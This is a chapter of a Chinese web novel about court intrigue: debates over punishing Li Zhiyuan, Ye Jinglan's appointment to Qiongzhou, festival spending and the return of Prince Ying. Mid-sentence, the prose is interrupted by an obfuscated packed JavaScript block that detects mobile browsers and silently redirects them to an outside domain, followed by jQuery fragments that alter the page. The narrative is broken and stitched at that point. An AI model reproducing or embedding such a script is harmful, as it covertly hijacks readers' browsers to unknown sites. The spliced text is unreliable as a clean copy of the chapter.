34. 朝堂暗流
作品:《咸鱼夫君觉醒后》 “这……这可真是闻所未闻!”
“骇人听闻哪!”
“本以为是虎父无犬子,现在看来李氏父子的作派倒像是无耻的一致!”
天熹帝微微蹙起了眉,佯装第一次听到此事,“既然此事如此严重,为何朕的御前会一点消息都没收到?难不成刻意拦截的人手都伸到朕的眼皮底下了,未免太过猖狂!”
女帝震怒,“刻意拦截”的周瑾此时在帘后也不禁冒了几滴冷汗。他自以为和李之远配合得天衣无缝,没想到还是被白钰冷抓住了把柄,借着醉月轩的契机大作了一次文章。
韩哲待议论纷纷的声音落了些,不疾不徐地继续道:“琼州乃边远之地,长途跋涉中信息难免容易出差错,被有心之人利用了去。李之远心怀不轨肆意妄为,万不能再担任兵马总督一职!”
天熹帝点头,一锤定音道:“朕会撤去李之远的职位,回来后赐廷杖一百,关押天牢候审,若李氏父子的事情一并属实,朕定有重罚!关于琼州兵马总督一职,各位爱卿可有举荐人选?”
到这个时候,就算再置身事外的人也能感觉到,今日的朝会就仿佛一个预设好的戏本,非是剧中人,切莫轻易论短长。
韩哲朗声道:“臣在此举荐凌安侯夜景澜,接替李之远平定琼州之乱。夜侯乃将人之后,且在兵部任侍郎已满两年,有能力也有经验担当此任。”
“臣以为不合适。”兵部尚书瞿衡站了出来,“夜侍郎年纪尚且稚嫩,李之远纵然罪不容诛,可若论起应对那些心黑手狠经验老道的匪贼,夜侍郎还是远远比不上参与过无数实战的李氏啊!臣认为,倒不如让李氏戴罪立功,尽快平定叛乱后,再作定夺也不迟。”
瞿衡是太后手下的人,说词也是昨日早就与周瑾等人商量好的。这话明面上是在担心夜景澜的安危,实则是太后等人认为折损这么一员大将实在可惜,试图最后再捞一下李之远。
果不其然,接下来就听到喻太后在帘后淡淡道:“哀家觉得瞿卿说得有理,若是为了李公子的前途,李之远兴许可以破釜沉舟与匪贼一决。哀家虽不懂什么兵法上的道理,但也知道中途换将是大忌。夜侯年轻,哀家也觉得此事是否太过难为了他了?”
天熹帝听罢,望向夜景澜:“夜侯,你可有什么想法?”
夜景澜微微一笑:“臣还挺愿意去会会这群匪首的,李总督副将的脑袋不能白掉吧?问题可不在于平定叛乱的能力本身,身为臣子,首当其要的是要忠君爱国。李之远私吞军饷隐瞒不报,此乃不忠;勾结匪寇谋害同僚,损害大瑜军队的威信,此乃叛国。敢问瞿尚书,此人还有什么可以给他‘戴罪立功’的余地?”
夜侯的话把瞿衡和喻太后都噎住了,双双陷入了沉默。
这时白钰冷开了口:“还请太后、陛下放心,臣会安排人手暗中支持夜景澜,尽快解决琼州之乱。”
天熹帝满意道:“很好,就按韩都御史的提议来吧,夜侯上元节后即可启程前往琼州完成交接。此事已经定下,朕无需再听到任何异议。”
夜景澜行至殿堂中央行了个大礼,起身道:“臣夜景澜谢陛下的提拔厚爱,只是不知有一事,若臣三月内成功平定匪乱,陛下可否考虑应允臣一个赏赐?”
天熹帝笑了:“三月?看来夜卿信心十足啊,很好,你想让朕赏你什么恩典?说来朕听听。”
“好说,只需陛下赐臣和钰冷一栋宅邸,归来后能与臣的继母和弟弟分府别住即可。”夜景澜笑容愈发灿烂,与殿堂弥漫的肃杀的氛围格格不入,“臣这条小命着实难保,中毒后险些再难为陛下效力,臣心有余悸,因此觉得和夫人一起离得远些好!”
白钰冷诧异地看了夜景澜一眼,夫妇二人正好对上目光,夜侯似乎还朝她眨了眨眼,带着狡黠的意味。
分府别住确实是白钰冷成婚以来最大的心愿,倘若没有冯氏明里暗里的作对,还有夜景隆不知什么时候就给凌安侯府惹了麻烦的不安,她处理起工作来也会更加专注和得心应手。夜景澜讨的这个赏赐,确实甚得她心。
夜景澜从白钰冷那看似山崩不变的面容中品出了些许满意之味,暗道幸亏自己灵机一动,不然提升好感值又没戏了。本来跟徐宥怀那个家伙一起找锁匠的,结果莫名其妙去斗了个蛐蛐赢了钱还撞见了白钰冷,纪念日礼物计划算是彻底泡汤了!不过他向陛下讨的这个赏赐,说不定白钰冷更喜欢,也算无心插柳了。
天熹帝在宝座上看到其他大臣古怪的神情,觉得夜侯着实有趣,是个不亚于白钰冷的可用之才,心中欣喜。“朕允了,琼州那片地方朕就托付给你,夜侯你可得用心了,去了那要和当地巡抚好好合作。”
等到夜景澜谢恩后,清算李氏的戏码终于告一段落。天熹帝问道:“诸位爱卿,今日可还有其他事要议?”
一身孔雀绣袍的魏明允出了列:“启禀陛下,臣还有事要议,事关‘礼佛盛典’的开销。”
魏明允悉数列举了如今的国库收支现状,在场的官员又陷入了沉默,心思不一。
白钰冷上任首辅后,雷厉风行地进行了一场“金陵考核”,要求官员们事无巨细地交代历年的政务纪要,以此来重新确定俸禄份额。这与前任首辅李唯的作风形成了鲜明对比。李唯为人宽和,兢兢业业奉行前朝政策,对官场的贪污腐败之风贯彻了睁一只眼闭一只眼的态度,心思活络的人早就拥有超过自身份额的金银。可白钰冷如今之举,相当于拦人“财路”,被许多人暗地里恨之入骨,连带着跟她关系好的魏明允一起恨。
这回户部尚书又在哭穷,还不知这两人要整出什么幺蛾子。
徐宥怀踱步而出,道:“臣这段时日一直在关注‘礼佛大典’筹备的各项事宜,此庆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087503|161779||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
典不论对于大瑜还是蓬伽和夜莱,的确都是意义重大,但仍有可以留省的余地,若是户部需要,臣自当配合。”
周瑾报上的开销,当然夹杂了中间各官员可以神不知鬼不觉掠去的“油水”,这在以往的情况都无伤大雅,可如今现实的严峻已经容不下此类“胡作非为”。
天熹帝自然是很欣赏这两位的行事作风的,都是一心为朝廷效力的循吏,她自然要大力支持,肃清朝廷不良歪风。“两位爱卿有心了,你们所说正是朕近日忧心之事,不日朕便会和白卿,还有各位六部大臣一起制定对策出来。此次的礼佛大典正常举行即可,徐卿和魏卿,礼户两部要互相配合好。”
魏明允/徐宥怀:“臣遵旨。”
就当众人都以为早朝终于要告一段落时,礼部的林品凡忽然出列道:“陛下,臣有一事想问,金陵礼佛大典的参会名单里,是否要有英王殿下的名字?”
白钰冷怔愣一瞬,忽然明白之前隐隐的不安和疏漏感是从哪来的了。今日殿堂上他们推进的一切都出奇的顺遂,除了太后手下的几个虾兵蟹将出来蹦跶了一下,其余事情根本无人有异议,原来都是为了这最后一句话铺垫!
此前他们的举动已经彻底得罪了太后和周瑾,而两人之所以默不作声,不过是为了让女帝无法再拒绝让英王回京的提议。折损李家父子跟争取英王相比,确实也是小巫见大巫了。
天熹帝眉头轻轻蹙起。
白钰冷立刻提出反对:“臣以为不妥,英王殿下镇守北方,若此时离开,万一大宛人有来犯之意,则边境安定不保。”
国舅爷言可在一旁嗤道:“白首辅多虑了,年关之时,北方天寒地冻,大宛人是不会轻易出窝的,这点常识但凡在关外待过的都知道。”
这国舅爷平日不声不响,一出声就把白首辅结结实实堵了回去。白钰冷牙关暗暗咬紧,说错的话覆水难收,她只能认栽。
夜景澜悠悠地在后面飘来一句:“不怕一万就怕万一嘛!国舅爷您老活了这么大把年纪,难道不觉得凡事都没有绝对?”
虽然这话没有怎么实质性地扳回一局,但还是让白钰冷忍俊不禁,懊恼之意顿散。
言可冷哼一声:“夜侯光会跟老夫打嘴仗可没用,琼州之地也不是那么好对付的!”
林品凡继续进言道:“陛下,此盛典是您登基以来规模之最,天下百姓都等着瞻仰您、国师还有英王殿下的风姿,这可是大瑜与蓬伽夜莱友好和平的象征啊!”
林品凡说话的夸张劲和情绪饱满程度,简直和周瑾如出一辙,深得周瑾的精髓,白钰冷听得耳根子麻痒,仿佛爬过一万只蚂蚁。
天熹帝脸上喜怒莫辨,沉默片刻后,道:“阿英在外多年,朕也是该见见了。白卿,你通知巡抚张迎天,安排好冀州一带的布防。”
白钰冷:“臣遵旨。”